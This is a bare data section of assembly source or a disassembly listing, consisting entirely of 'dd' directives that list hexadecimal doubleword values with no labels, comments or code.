dd 7B4C6500h, 475AA36Fh, 0FFD33D0Dh, 3E97F581h, 0F9CA414Bh
dd 33D02087h, 3D22170Fh, 0DE6D808Bh, 125F7942h, 40E8BE2Eh
dd 258A6867h, 0BD00CFFFh, 0EE306EDEh, 0AFC562h, 39110D4Eh
dd 5CC66999h, 9A909C00h, 4441599Dh, 818B16BEh, 0C9004048h
dd 25AEADA8h, 0B5C56100h, 0BFB0C8ABh, 2E28004Ch, 845CF81Fh
dd 82E70BDh, 8BED898h, 87EB88E7h, 0E0012A37h, 0B7EAA4D7h
dd 9852D02Ah, 76AD401Dh, 9394A380h, 1CBEE33Ch, 47D4A8C4h
dd 20A75510h, 0E2442811h, 0C731EF00h, 966F3AA1h, 3C909Ah
dd 0ADF40B9Bh, 0A5096950h, 0BC899200h, 0B9054DC3h, 38B05Dh
dd 0A6360E1Bh, 2ABB4833h, 77BE6700h, 0A7D9A064h, 0D02C48B8h
dd 0F8632Eh, 4ED9A7Fh, 210088C1h, 97845A86h, 17C5CAE5h
dd 0DF1CD2h, 22CFDB60h, 2900067Ch, 8FFC43B1h, 0E1805Ch
dd 449FE60Dh, 1D3BF660h, 0ED04BC7Ah, 194B1551h, 7E34ACC1h
dd 7FB370h, 82836507h, 0B667BC73h, 97610400h, 1E897606h
dd 66A100F3h, 0BD790DD2h, 0A90087FFh, 84E52E78h, 275B4885h
dd 54008F91h, 0C68B6D7Bh, 0D4AFB026h, 0FC518300h, 3EE7E317h
dd 3C80259Bh, 0B8AB3954h, 0B10F53A0h, 0C04D7487h, 7A262320h
dd 0CDF102F7h, 0C6FE6ADCh, 0AA2C04C0h, 44A7E500h, 0A2A5C152h
dd 0B1D84C87h, 8312B558h, 4F04C0F5h, 9D50227Ah, 9FFE05FCh
dd 49BC8C04h, 4042E9AFh, 9DC336D8h, 8F3069B8h, 0C8048h
dd 5CC1F093h, 16CE742Ch, 159A239h, 0FA0F5F38h, 0A948D835h
dd 2F9F4401h, 908EF911h, 0D3023073h, 0CB059846h, 30E2405Fh
dd 0AF3D3DFCh, 2BDE4482h, 60404AA1h, 133A59B5h, 0A9CC009Dh
dd 0CA066B8Bh, 0C3F6004Bh, 32683C87h, 1300E60Eh, 0F1796C1Dh
dd 0E45EA57Eh, 56EC03BFh, 8726B15h, 0FCCD98B9h, 170088CBh
dd 61A4DB28h, 1540ECCh, 168D91C1h, 24EDAF13h, 0D6EE5FF0h
dd 0ECEA4A00h, 70BC52B9h, 90314964h, 0ED204503h, 4290AF7Fh
dd 81050469h, 4BA63999h, 0C0E7B891h, 8700043Ch, 9E5572DDh
dd 62005FCEh, 83A2EB14h, 0AD3DACh, 9F63A835h, 207CCBA0h
dd 0C5968809h, 0E72C80C7h, 1C6B55h, 0D8D0093Dh, 0DA9DEADCh
dd 0C030FE07h, 9863A841h, 718B904Fh, 0E8E2001Ah, 0E42BB3F9h
dd 0F5E64681h, 257F809h, 1D4080C3h, 0FD6CF340h, 61D77300h
dd 91E24Ch, 388F98AEh, 0F0E89Eh, 8394ACA8h, 5DE4DD2Fh
dd 197D8E12h, 80A164C0h, 720B27EEh, 5C93B010h, 285B5639h
dd 7E09E0ACh, 0C094434Ch, 2C0EF5Ch, 0E1D9FAA8h, 0B9C0D2CAh
dd 500602Ch, 0B53D6BB6h, 18469ED4h, 590C522Ah, 0F40202D2h
dd 77BC7133h, 9830E323h, 3ED07C1h, 85085A1Bh, 55F9F10Dh
dd 0EAD0300Bh, 0F38298C0h, 24084403h, 0CD801A3h, 9389A612h
dd 20E1D807h, 0A03F4E40h, 0E2A1ACBFh, 0B23201B9h, 10FFAA84h
dd 16DC30ABh, 980F4100h, 9C3E9658h, 57110C6h, 7C1F01E9h
dd 80974356h, 774ED2ECh, 0ACC20065h, 20BE4DF4h, 0CE0E7E2Bh
dd 0C0C95359h, 0CDB9CB0Fh, 97E20054h, 0B21C0728h, 0E71669F4h
dd 0CE0A9AA8h, 52049CABh, 93213D8Fh, 0E6B181FCh, 0BA82A110h
dd 0B76930h, 0FF1B6F8Eh, 0B835276Ah, 6D59F41Eh, 0D180F69Fh
dd 0C9603D7Bh, 0F81D2404h, 1C2E0024h, 2E65F49h, 0F7675100h
dd 4CF2FC0Ch, 0FF1E00A9h, 1FA41C0Fh, 170064EAh, 14404367h
dd 32B8C83h, 79471286h, 8EB2851Ah, 0E836D280h, 7800BD4Ah
dd 0DEFA0AC7h, 1E472559h, 5C5428Ah, 2788A3C2h, 0D7E9204Ch
dd 0B90EA139h, 8082925Fh, 90FB2365h, 9BD12481h, 0FD880FACh
dd 8802BF85h, 8C0EACFCh, 393CEEh, 0B1A5E215h, 277D0BE7h
dd 0C825E91Dh, 23AC53h, 0E637010Ch, 7A1F548Eh, 0C81417BCh
dd 260402BEh, 64C4CC83h, 38FDB22Eh, 5B00D020h, 2BB7C4E0h
dd 571227h, 882C4025h, 8F651F04h, 5A070E00h, 0EB4895F6h
dd 30561CC8h, 9F74DF42h, 92825F87h, 0F0C04DFh, 71EC88BDh
dd 33EC8426h, 42B75F02h, 20F180ABh, 1E16D6F9h, 80C09ED5h
dd 68F85628h, 0D10FDB0Eh, 2EC1FDC3h, 8BA180CCh, 174B979h
dd 113C0D7Dh, 70692065h, 33029D15h, 0EE4781FDh, 88386889h
dd 0FEB900F0h, 86CF1395h, 0AD7FF6B8h, 0AF0BE470h, 985C2DA2h
dd 2C515708h, 7F4B42h, 6BAD7EBDh, 683E5089h, 11E780CEh
dd 1D1F7ADDh, 88291D20h, 0A89741EFh, 0F093FE28h, 9F0059EBh
dd 54D8F9CEh, 59C76CAh, 0A46FA90Fh, 51388092h, 431D4281h
dd 0B5007E5Fh, 7DCA59D1h, 61C008Bh, 8D15E70Bh, 630CEA85h
dd 6923294Ah, 2761004Bh, 0AFA3257Bh, 9100FBBBh, 8384B012h
dd 958A4EECh, 0D488FF78h, 0B4FE2235h, 9694743Dh, 9F9Eh
dd 4DCFE603h, 24FA0E91h, 78E0BD1Ch, 0C10E504Eh, 0E62C220Fh
dd 2845A4C0h, 0C3D71FFEh, 8E4C731Eh, 0A063B780h, 0AC4AE628h
dd 1B2FDE0Fh, 22FBA110h, 1C30DA34h, 0C7AB0004h, 2175C876h
dd 0EA0019B3h, 2DFB72A7h, 0ADED18h, 0D78AB15Eh, 15B5E675h
dd 19B25301h, 97A71AEBh, 3E95CBD4h, 6B007905h, 1CEC09E1h
dd 1E01B8F2h, 0FB065BEBh, 23C17A3Ch, 5E98AD0h, 0D9C4A06Fh
dd 0CD5DC04Fh, 1600F497h, 0E3727518h, 0B9D650h, 0B2D4A947h
dd 0E9D7F01h, 0BB8AF404h, 3880C196h, 0DD5E81h, 350A973Ch
dd 0B205B11Eh, 9F86318h, 0F0719A10h, 8B74C4Eh, 5ED0DB02h
dd 0E5E0445Fh, 0A602F4C2h, 1AD84CA1h, 0A56CC994h, 1FFFA820h
dd 805F1BB5h, 3B0FFC34h, 73039FB4h, 631D188Fh, 0E140C878h
dd 5F2116F3h, 5898002Bh, 0AE016D6Eh, 54633Bh, 9CA702D3h
dd 239F9Ah, 0F125761Eh, 4294C151h, 913F9D00h, 92D90878h
dd 0FA685054h, 0AAD40053h, 0CCBDA187h, 396EFF4Ah, 0B9A680E8h
dd 7E34C391h, 89BA07F2h, 0FEC0D732h, 0B2850013h, 0DB894AAh
dd 583F3000h, 4EB40E2Fh, 0FFCD07CEh, 70775A7Ah, 96394516h
dd 4358BB00h, 908F13FEh, 0E2C0441h, 0C06F934Fh, 7699355Ch
dd 0C4E1B200h, 0B58899Fh, 2B6D0236h, 8A6340E2h, 0C7CB8E80h
dd 48B00E6Ah, 91691400h, 6A51F46h, 38E25C23h, 0A056470Bh
dd 0E98190E0h, 80937E3Bh, 59AD3205h, 73611F96h, 840E09C8h
dd 9060E5E1h, 75008AAFh, 8B6D5739h, 78F90E6h, 73C11EECh
dd 0B85C70A2h, 4963456h, 0F6203340h, 3FF890A6h, 2E0058FDh
dd 0D8FC9FEDh, 64B83569h, 0E075CE74h, 8DC8B802h, 58968E42h
dd 7EA10074h, 109EBCE4h, 0DD031454h, 62D65AA8h, 0CA200489h
dd 0A4F22B32h, 0C600EC48h, 0CC13D79Eh, 60A579h, 0A1D4513Bh
dd 11C3FF90h, 34001C7Dh, 0EDA4293Ah, 6DAD9Ah, 9F9BE4CDh
dd 32CBDAAAh, 0F422F600h, 10DB71E3h, 80A23FE5h, 251E97h
dd 6DE44D60h, 6C02931Bh, 0CB29330Fh, 5C5CE090h, 2FCC0007h
dd 0ADA2ECF7h, 77008234h, 7EF82E10h, 7AE49Fh, 75B5CDD6h
dd 0C39A8A33h, 0BA035290h, 9D924CD2h, 6726B85Ch, 7550B2FBh
dd 2884008Dh, 9A073C37h, 0BB0EF388h, 1F6365A4h, 0B3ABF1C0h
dd 0CD96DECh, 0A7E35E0Ch, 33007611h, 0B059E26Bh, 3DB63DEh
dd 0DAFB7436h, 4BA9B6C2h, 5060804Eh, 6781EEC8h, 3A100F9h
dd 0D10A8FDh, 0C32CCAAAh, 74863482h, 58314FB2h, 3A79EEDCh
dd 380704C8h, 0C08E2B29h, 1B4AECC2h, 0C026102h, 0C08BA8EDh
dd 0F007F3D6h, 83310CA1h, 11D99CB9h, 7517A97Ah, 9C40A89Dh
dd 2C42C47h, 4A69C05Dh, 0D909C6ADh, 9AD1A11Fh, 8B1FD041h
dd 1D706CBh, 0DE5FDC11h, 0C509D3A1h, 9C498004h, 983AFC81h
dd 0A00A720Bh, 0A3AB8E0Ch
dd 0D2F10140h, 0B21945B1h, 0BD01EC5Fh, 216AFA1Dh, 0EC2C1339h
dd 44EF801h, 0DCF05F40h, 67700E7h, 8BE0EF45h, 0C00FDA5h
dd 243CCEC6h, 709CCh, 94193B50h, 2E56EF32h, 8F895424h
dd 6D3E9F07h, 7B1FE100h, 0F5E00345h, 7CE40D3h, 3A0CC0C0h
dd 21D13600h, 0EB898FA8h, 0FEFCFFh, 0F58D4F3Dh, 490139BDh
dd 0E49CA400h, 6BF89D86h, 82480A7Bh, 9FD48565h, 17FFC0DDh
dd 2E70B43Ah, 0EB989300h, 75E5D9BDh, 7F9E406h, 73E8956Dh
dd 0A9C34F10h, 5CF1FFE6h, 0F4E450D3h, 51D68087h, 0C417B1Ch
dd 0EAFD3842h, 915B2080h, 1CC8EFDDh, 27B0ACABh, 9E0C6302h
dd 0E0CCFF75h, 99EB0321h, 0FD3277BAh, 50005183h, 83E7768Dh
dd 0DE7EABh, 0C54828B2h, 701D57EEh, 4B75FE00h, 92A7DCACh
dd 0B6D100C3h, 0B58A6609h, 6530C01Eh, 5D2A998Ch, 3DC4F4ABh
dd 74875B34h, 414D0E64h, 0C0CF525Ch, 0B5060D9Ah, 5681D28h
dd 1D016A9h, 9B4407Bh, 914F746Ah, 0C30098E4h, 0ABD4B46Eh
dd 3A1E7ACCh, 76AF61h, 0C194BAAAh, 0A15D2C93h, 8D23B519h
dd 2180A908h, 60C17CE0h, 74002959h, 0FD9CD2A7h, 13F1A05Eh
dd 86339Ah, 68A3E6F7h, 5A00B564h, 0FD0ACC75h, 0E6C0113Fh
dd 66CFE05Eh, 215508EFh, 8034883Eh, 0EE67EB1Bh, 1DB987Bh
dd 84338719h, 0DCABD123h, 5100AAF2h, 97604CFDh, 0EE27AA3h
dd 0F12E948h, 92EC4898h, 8303667Fh, 4B7E8FFCh, 0E80818F4h
dd 0BA452049h, 0B4B86600h, 8A7CC6D2h, 0A6990153h, 1D2CFB56h
dd 126988DFh, 38F036B9h, 0C13F68C8h, 719A669Ch, 0E9340899h
dd 77844F88h, 3860066h, 0B841375Dh, 0EE0F9AE1h, 0C58D7ACFh
dd 0A847E867h, 1890437Dh, 0E13547h, 0A248AB21h, 7F7BC517h
dd 11FD9321h, 3FFC8069h, 8C37C026h, 1897A44h, 0B92C3F33h
dd 31845193h, 67488C8Dh, 1D2B79A1h, 3C2AE882h, 0B8C75F0Ah
dd 50467434h, 43F2B91Dh, 70C78430h, 840EAEAh, 7307CC90h
dd 5D1AD671h, 6D8BF780h, 0CBC20010h, 4F53C4A6h, 787F3ED2h
dd 23581107h, 7012544h, 10943AF5h, 0ACAA04F4h, 7560019h
dd 2BEB3DCDh, 89001780h, 73D3FA74h, 0E8A77Dh, 10967EB4h
dd 2AA407BDh, 0CC744E78h, 0F87FB500h, 0CF388644h, 2C1A3C1Fh
dd 4787007Fh, 73EA43C1h, 0B10014F9h, 0F410FF22h, 0F5C44A7h
dd 786C7D8Dh, 4A0038ABh, 45C00F3Ah, 0FB07B039h, 0A40B800Eh
dd 203CA547h, 7E0C6C6Bh, 5C107FD9h, 918A90Eh, 80A72908h
dd 8C703A4Ch, 0A678007Dh, 0A05FCF7Fh, 0B9185C22h, 0E3280FDFh
dd 7A26886Eh, 7B08DB89h, 848FD044h, 22328322h, 9D325EE7h
dd 8F8B7912h, 943F2814h, 447828B3h, 228437C3h, 5F4267FCh
dd 0E0BCF08h, 0DA8AF310h, 146B1450h, 210C3C11h, 78C9089Fh
dd 99847790h, 7DDB440Eh, 79282D4Eh, 18504314h, 7290DEDh
dd 0E0F1887Ch, 42EF51C8h, 0C32407D4h, 0ABA25440h, 0DB008018h
dd 0A4500FFBh, 6421965h, 516BB0A3h, 8B0020BCh, 0F9DF08F5h
dd 0DC267Dh, 0C3F1B393h, 0FB06B088h, 7CB19D26h, 0C16F5F00h
dd 5015CCh, 74985BF6h, 9CED6C44h, 0E0DBA300h, 4259DA08h
dd 1A1900E3h, 7F01A68Dh, 0D600520Bh, 942E9E71h, 0EE11F7A3h
dd 1B100F26h, 0E9272C58h, 0DA604E81h, 0B9D4D19h, 293BD61Ch
dd 3E802300h, 1DC96F2Eh, 6672BFBDh, 0DAD803B7h, 0B89A5CF4h
dd 0D69101FDh, 2083BE12h, 0B6ACF1FAh, 0C42FEAF9h, 9E00A10Ah
dd 290DCD7Fh, 9027B7D7h, 6971E54h, 0AFAA436Dh, 7800F96Ch
dd 79464911h, 0C9E95Bh, 33E7B45Eh, 376E2520h, 4F26A100h
dd 7BB6C8AEh, 328A00ACh, 678065D6h, 0CFFC33BDh, 9CA7DD24h
dd 0CDE3B600h, 76A193h, 0B83D5846h, 0A2DBC091h, 90BA2824h
dd 6F641C00h, 95A83Bh, 0F00BD6BCh, 5451C537h, 9F606D00h
dd 0A7D7C98h, 0F50F00C4h, 0D2270C1Eh, 2F00EE94h, 0E93637DBh
dd 1F716AB3h, 0C007E383h, 175035D7h, 0E072895h, 58C5D3F4h
dd 81E6E730h, 0A38BE490h, 50B9D0D8h, 33E000C9h, 0DD6370C8h
dd 0B3035220h, 58512DD9h, 0CA30B702h, 50B17FB4h, 609F33h
dd 0C720703h, 0B2E5AEFh, 40A3CE04h, 0F88078E5h, 0CDC2F6h
dd 25D2EA61h, 0C434F3B8h, 2FA06301h, 0C30ABBDCh, 70FF2089h
dd 0D9804010h, 0E675F900h, 4902F8F0h, 74BF00A0h, 0CA712FBDh
dd 3800EBA3h, 829C9822h, 31BBB81h, 4362D1D9h, 0D6D8CA7Eh
dd 0AC005231h, 504D444Bh, 3AE27F41h, 788CD4h, 0EEEE3F1h
dd 5BB4349Ch, 0AA5338h, 9D523EC2h, 3EA803EDh, 0F7BE97h
dd 0AF800D37h, 0BC065A2Dh, 866F3901h, 0E03EA5D3h, 3E191EDCh
dd 0A00DF8Dh, 2DC2B752h, 1A0361CAh, 29E4FBE1h, 0D25EC074h
dd 32811C37h, 0C77200ECh, 3B90BF52h, 790F34Ch, 87F56D33h
dd 2EDA1F90h, 50B87F7Bh, 37CCC28h, 43E9E883h, 0F9E03BFCh
dd 6B006AD7h, 9DB67BC0h, 724B19CEh, 157887h, 88579590h
dd 49F021BDh, 0AD20700h, 4C68B937h, 0AB240971h, 0AC0036C3h
dd 8DF114EFh, 0E3E81700h, 782C3991h, 24650088h, 75D1732Ah
dd 0D500988Ch, 4F834989h, 6BF426h, 74F92533h, 6A637605h
dd 0BF0072E8h, 0E627040Fh, 713D0Dh, 6EC226B5h, 0BB10C851h
dd 40D86C00h, 0A5FD686Bh, 0DE2400B4h, 3EA3987Ah, 86012325h
dd 12100B63h, 0CDF477C5h, 2FC90E37h, 30C0495Ch, 31147B73h
dd 0C3C18807h, 7C909045h, 0F023FBh, 0DFA90C5Bh, 0C488B4A8h
dd 0E30046FAh, 0E1F183F4h, 0BC5CA3h, 3EDA48EFh, 0C1FD639Dh
dd 0FE07B63Ch, 68643Eh, 49E8B81Ch, 0F038A4h, 340BEED9h
dd 6F0A5F3Ah, 0A09C8828h, 50670102h, 6021BA8Ch, 12F96618h
dd 0FC4F8C7h, 33B700h, 7DA91178h, 0A37FDD57h, 9B383E1Ch
dd 9F3B6283h, 0D400E573h, 93407BF3h, 0FEE4E116h, 0A8BF0009h
dd 63227C76h, 0E174247Eh, 4967877Dh, 0C1B06798h, 95F8BFh
dd 8F274F58h, 0B65728D9h, 0A3E7E000h, 0B51C7DD0h, 0D8C80077h
dd 67692BB7h, 0C3EBD70h, 0EA2F0907h, 3A19D655h, 41E90076h
dd 0D3E833F8h, 3400A670h, 7152040Dh, 7735E74h, 0A43CE1B6h
dd 0FF602FB5h, 194A3B5Dh, 328E0501h, 540BF9EAh, 0EE1534E8h
dd 0DE0E3BD3h, 503D5D00h, 45177C71h, 3100C1F8h, 39BD53B1h
dd 29FD16Ah, 99D84825h, 10606235h, 28B0D226h, 95C23B02h
dd 0C8C4A269h, 10CCDF38h, 5DC3964h, 0AD8F40C0h, 0A9A85C90h
dd 0A3560206h, 0F19832C8h, 7FF89B63h, 0AE4C1B41h, 28127C10h
dd 0AC4182ACh, 5D2FCB79h, 90E9BAFCh, 3CF200E0h, 80D9919Bh
dd 240099E1h, 888B40A1h, 0A0745BBh, 55C203CEh, 0C4800D8h
dd 0E1FF1DA4h, 0FEEDD700h, 97AAA2A6h, 3F78BCh, 3D20041Ch
dd 0FD6E1FB1h, 0A2075700h, 8206AD96h, 76EE31h, 0C517EC34h
dd 0E1E6F092h, 3EA9E800h, 971A9B69h, 90447C28h, 8CF4804Ch
dd 9A54024Bh, 0FB1F896Eh, 90D7C4C0h, 0CCFEB800h, 79934695h
dd 0F64D029Bh, 0A53E70B3h, 41E22460h, 599C3D2Ch, 24BB1E00h
dd 7DE63329h, 1E9840h, 5109112Fh, 3F59E5CEh, 7D3C3E00h
dd 4DAFEE97h, 3B71F8h, 0DFC9F70h, 86C95CA5h, 0B363A00h
dd 0FD712178h, 73DA0B12h, 0C7816CBDh, 0F01760D2h, 3A07F550h
dd 28DBF3A4h, 3F8D4B30h, 0F95F6A3h, 0C590848Ah, 20CDAFA6h
dd 1D45BA00h, 0D72DE9CFh, 3E300ECh, 20F8F202h, 0ED0154A5h
dd 80D57A81h, 3070C0BCh, 0EAF90060h, 0EEA2CDE4h, 0A31FF0E7h
dd 8D408781h, 318E8A08h, 0D8B0E2h, 247B90F6h, 0ACA102BBh
dd 0E46EFD00h, 231ED68Bh
dd 51DD3D2Dh, 86C37380h, 0C90CE5A4h, 9121D00h, 95602526h
dd 308E03B1h, 24056BB6h, 1F877EBh, 4A0E3ADFh, 0A0BB752Dh
dd 8DA089B4h, 0F48E0073h, 0FFD8FAD0h, 1100EF80h, 798B47B6h
dd 622D2Eh, 61169AE9h, 0BBC197D4h, 72A9F00h, 3CA644D1h
dd 996E39ACh, 74A57B80h, 0BE69412Ch, 0FACE6324h, 0BF86A200h
dd 0E4CA78h, 0B34EABD2h, 3A1ABD8Fh, 0F6B52C00h, 0B4BF9E41h
dd 0A5920085h, 90C6D1F7h, 10029CAh, 4DE302F5h, 9BC045h
dd 0F71BBC08h, 165E9F61h, 4972D100h, 9097E252h, 84E0A004h
dd 59B092D3h, 0D509C4AAh, 59006AB5h, 82F63A60h, 56BBA41Fh
dd 6344EF1Dh, 0FEADF68h, 1020F9B5h, 0B740DD8Fh, 55F29670h
dd 5FEC7809h, 276B002Fh, 1C8E0103h, 405D2E70h, 661AB091h
dd 7D0343FDh, 0EAC6C38Ah, 0A3EEC079h, 0E028C961h, 0E344CF80h
dd 2300D06Ch, 1DA2EAD3h, 156FCBBh, 15834C0Ch, 0DC508F44h
dd 0F05CC6E4h, 80B939DCh, 0E5CD2172h, 0EDC0BAh, 0BB633C85h
dd 0D81458DBh, 0AFF42A00h, 0BDA8B776h, 0D02D0298h, 0D6336C86h
dd 0CB2887C0h, 290014F8h, 0B2B3C9D4h, 754183h, 85D7A0Ch
dd 0D64AC858h, 1B70A100h, 1DDE0BE7h, 0F82A2655h, 606E00F8h
dd 0FFE54E8h, 9633431Eh, 0FCE23A40h, 39387407h, 0F76CB4h
dd 0C3EDCFBh, 0E70DCAACh, 4F3A5A01h, 4116EDA2h, 461DF640h
dd 19DF00ABh, 0A7E8A879h, 77008333h, 1B7F050Fh, 7BE4B2h
dd 4D22E06h, 60B4F665h, 72632A00h, 6F459D1Eh, 88966036h
dd 9FF65AB8h, 0D60023EAh, 327EBEDCh, 11E7382h, 94EA91E9h
dd 875F4AA9h, 90A55D20h, 37BE6830h, 2DA8006Dh, 31442174h
dd 131FF938h, 0B6C3C7Dh, 430E0D03h, 9F4FD05Fh, 0C1E7005Ch
dd 580BFF28h, 0A53B739Eh, 48D89E2Ah, 9243057Ch, 4C7EDB3h
dd 4ED05B97h, 0FF1E358h, 749840D3h, 0F575C00h, 470316B9h
dd 0CDC7F91h, 62EA0DAh, 0D0620C7Ch, 0DF290EB4h, 3EDECB00h
dd 0C074B75Dh, 8CEC00B3h, 0D1722991h, 0DA7EBA33h, 29F6607h
dd 800E515Bh, 0D2B277BCh, 0A3B4003Bh, 5E1832ABh, 6A002952h
dd 5079FE5h, 381B215h, 82AFA2B8h, 54C857C5h, 0D800F9C8h
dd 5D2B71DFh, 1F4F67h, 2E3E7FBDh, 29FA9399h, 3B062707h
dd 0D1561810h, 344F0016h, 1ADAF077h, 121329BDh, 541FB842h
dd 5C8C3AC0h, 4B2CE1DCh, 2451B887h, 7F0B893Ch, 0ECA680A5h
dd 180B3D3Bh, 0BA60030Eh, 0AA28F973h, 78729C88h, 3508FA00h
dd 0D510ECBh, 1FCC1DF0h, 6D4CF8Bh, 723BA014h, 0C2A87503h
dd 0F7F019D1h, 4E14B51Bh, 0FDB918h, 33752ECFh, 7F6D3D05h
dd 0AF4400BAh, 3AC4F3E1h, 0A8F74AA8h, 3B000C48h, 7719E20Bh
dd 809183h, 0C6C0C28Ch, 6B6E86D8h, 0C100F872h, 55F740B3h
dd 1303ECDh, 0B7717B9Fh, 0D07F8B43h, 23009E08h, 8C749CFEh
dd 49D47h, 0ACEB0DB6h, 0BED2227Dh, 0C6CD100h, 47081D36h
dd 32F30057h, 0E22610F7h, 0A0006560h, 0E3FEEA7Ch, 7B409A19h
dd 7A6E00DBh, 0DC571D4Fh, 1C00CE09h, 62B395C8h, 713615Fh
dd 0D2835E5Ch, 11A32271h, 0DA42EFC0h, 8AC5FF00h, 4C060933h
dd 0B58800DCh, 9111BDD3h, 83038BC3h, 4F1F60E5h, 0ACB1A5E9h
dd 22CB460h, 55183CFDh, 0B440B9E0h, 0F61D17D9h, 3F9FEEF4h
dd 872A69C1h, 3DE48E14h, 1C8AFEEBh, 80944F46h, 0F01C113h
dd 0A600B64Ah, 72A8C682h, 7E147AA3h, 73B1006Dh, 2F707644h
dd 7C9263D2h, 96D463B0h, 214007Ch, 1A3609B6h, 10F8901Fh
dd 24063EFAh, 0F940BCCEh, 0F9A02ADh, 9EBFDD29h, 45E40D41h
dd 5CA8C4B3h, 4158B612h, 376BFC00h, 0DA70A4h, 30E8A9D9h
dd 0B5272B65h, 1F4EF909h, 0F5C00F7h, 7920F6F3h, 91E99817h
dd 7F00888h, 0F4905E00h, 3C1954h, 379BFF30h, 0E6793528h
dd 11194B70h, 6A488D51h, 10930h, 407CFC31h, 0D63E30F3h
dd 46480E6Ah, 56F6701h, 0C670FB1Eh, 0D031D9Ah, 85134041h
dd 0F18E6B69h, 145DF501h, 0B7C8D6FAh, 0FC945CE0h, 0B15F0029h
dd 0D057E0B6h, 0DE0BB462h, 0B99F40h, 391F9547h, 46AE0028h
dd 3A2EE783h, 860034B8h, 0B7C96D72h, 9B8F1Bh, 575DC2FCh
dd 0C4AE62D7h, 0E2CC5000h, 42DD1473h, 6CCD0028h, 5E3F65AFh
dd 2A0072A4h, 3D44AC75h, 1E898B27h, 80D01EA6h, 9AABE484h
dd 2A601CDFh, 0CD78B560h, 641F4CEDh, 40F3A01Fh, 1D55E67Ah
dd 971436BCh, 1498E5A5h, 80BC859Ch, 6AC7166Dh, 1322391Ch
dd 84A70203h, 1200B5F5h, 146D3A3Ch, 5C10260Ah, 8900D25Ah
dd 0B758DCF0h, 9478C388h, 9C1C2D00h, 0C14AE7CDh, 0C7F750Eh
dd 5470C88Fh, 4D262F69h, 3CEC07h, 60282AD1h, 177ECD0h
dd 6B7C8397h, 0E49121EFh, 29001623h, 30D3AA1Fh, 736DA7EBh
dd 0FFC0A0D9h, 80BB2CAEh, 4C01029Bh, 0A5609DF6h, 7124CF6Ch
dd 3F00A1BAh, 5D667021h, 737F0318h, 0B8556FDEh, 4CD624C8h
dd 58942000h, 468F329Bh, 0C63B3FE1h, 178642Ch, 0F41AA336h
dd 1897FC0Ch, 0FF0A8400h, 8EAA3596h, 0B1FA1Eh, 0F90C2BF2h
dd 0B7A5E83Eh, 0BA907D73h, 9D036000h, 395DFD27h, 0E0A30086h
dd 2BA02283h, 0B11D8A49h, 3180ECC7h, 0FBEA7EDAh, 9CF500C0h
dd 941B77E1h, 0EC00AF86h, 0A0B5C214h, 0EC73F3B1h, 528D0054h
dd 39C60C77h, 0C1008361h, 0F23DBEE6h, 0D34D37h, 9DF1F30Dh
dd 72A3A9D0h, 5B1FD200h, 26D689Eh, 0BF7A60h, 5464F1CFh
dd 0A4EAE938h, 2AC67E0Eh, 906AE00Ah, 1A30E08h, 92FEA6EEh
dd 0E4565F5Ch, 0C2009CA2h, 0AEA59153h, 18C94003h, 0A0F0257Eh
dd 0FA001009h, 167048EAh, 6D8CEFh, 0DD4D5C5h, 9F7FE383h
dd 0D6E44200h, 0BA652F7h, 62913992h, 95C3DE00h, 6843C1DDh
dd 0F157D81Fh, 0F9C56FCCh, 0E417060Fh, 51E04CAEh, 0EB692500h
dd 0E6F93D29h, 83F10607h, 0E02860C6h, 0E15AB700h, 0CA717698h
dd 504D00FBh, 0F4AF365Dh, 852CAE2Ah, 0CB00743Eh, 65F381A9h
dd 96140020h, 0EB285BFDh, 3701C869h, 19553160h, 689E2C5Eh
dd 0CCA68196h, 85953F77h, 0FEBF298h, 0EEE9FC00h, 0D626A3E2h
dd 73F80F80h, 0A1F1DDE7h, 0FF0ADABFh, 38388597h, 9F00DF8Ch
dd 0D7465910h, 0ED723Ch, 51A29FFh, 0AC328AF5h, 20BF3Ch
dd 0A09AF9FCh, 2E8379h, 606B53A9h, 3ACC9A3h, 3C146900h
dd 0A3D2706h, 99FB0002h, 118381ADh, 0A80E43F3h, 0E04CB887h
dd 2F4A5668h, 7EE203D7h, 22A0643Dh, 0CD5EC4B8h, 800069B8h
dd 14C1EB67h, 1E8353F1h, 0C0495B1Dh, 2DAF41FAh, 9A07A23Dh
dd 2AB82587h, 52510AF0h, 71F5B881h, 0EFC40060h, 0E7AE3F7Ch
dd 8F0067E0h, 2C1FFD7Dh, 1147F2Eh, 0D7A22287h, 0D0897BA8h
dd 0C74AC666h, 993B55F8h, 5FE27F80h, 41227EC0h, 9FF25C00h
dd 6847B61Bh, 0D69131B4h, 0E8AB64F0h, 0E5074E46h, 61C793CCh
dd 0EB3FE920h, 89860049h, 73087A2Ah, 260082A3h, 0C574B644h
dd 4763B0h, 0E68352F8h, 85F39E4Eh, 0C31D3200h, 0B8DC060h
dd 822207AFh, 0E09771B1h, 0A6F1C877h, 0EC705D7Fh, 0F33FBD00h
dd 9A8F895h, 80A10073h, 0F1DB6BD9h, 1A00A66Ah, 46A59A10h
dd 2841DD8h, 0BF900D20h, 0C400832h, 0C4006202h, 211EC286h
dd 0D7A6CEh, 0F3ABCAE6h, 173AD2B7h, 76CC8B3Eh, 0E7447D48h
dd 9491B7C4h, 0F610B40Eh, 0EE00E218h, 27C97158h, 1204FDF2h
dd 29E10Ah, 0DAB8A74Ch, 0E617C3D8h, 1F00E2A2h, 4EACA695h
dd 34801C70h, 0DD740D1h, 799097AAh, 9085B424h, 78561280h
dd 246D31Eh, 911DA805h
dd 84449E39h, 0C607EE78h, 0F73F1364h, 0CF702039h, 1F706A56h
dd 61857A8h, 0C9827C73h, 64C24202h, 48F0147Eh, 40A469Ch
dd 8CF65754h, 6DC4882Ah, 0EEB94C00h, 0C9CD3449h, 5DD01F3h
dd 0DE9DFBAFh, 0EF1080CFh, 0CC4380A9h, 1D720021h, 4DC4F940h
dd 0B6069DA1h, 6210CFF4h, 997D0079h, 6A1D2107h, 0FC0071B8h
dd 45BEC396h, 33E55C6h, 5A077C37h, 5FC81ACAh, 0EB304E4Fh
dd 58F9D0B7h, 3B20E8EFh, 0FD8F8073h, 5B80777Bh, 0C3956A14h
dd 0FCA05C12h, 20E2DB0Eh, 76B5F9D5h, 0FBBF006Fh, 84882591h
dd 9C0E5D17h, 0AE619DD8h, 0CC9BFC9h, 0FBA4A110h, 0A050C46Dh
dd 951902h, 9B5F0962h, 0FABD9A57h, 0C1C5A107h, 0AA500704h
dd 0EBB7CFh, 56E4F2C7h, 2E81D90Bh, 0F32DFB00h, 0CA832012h
dd 8A7A39h, 7045B477h, 8767DBE5h, 0D8B6A400h, 25F046D5h
dd 30F20022h, 0B5BA5B63h, 4D00C660h, 9172592Fh, 4CA19FF8h
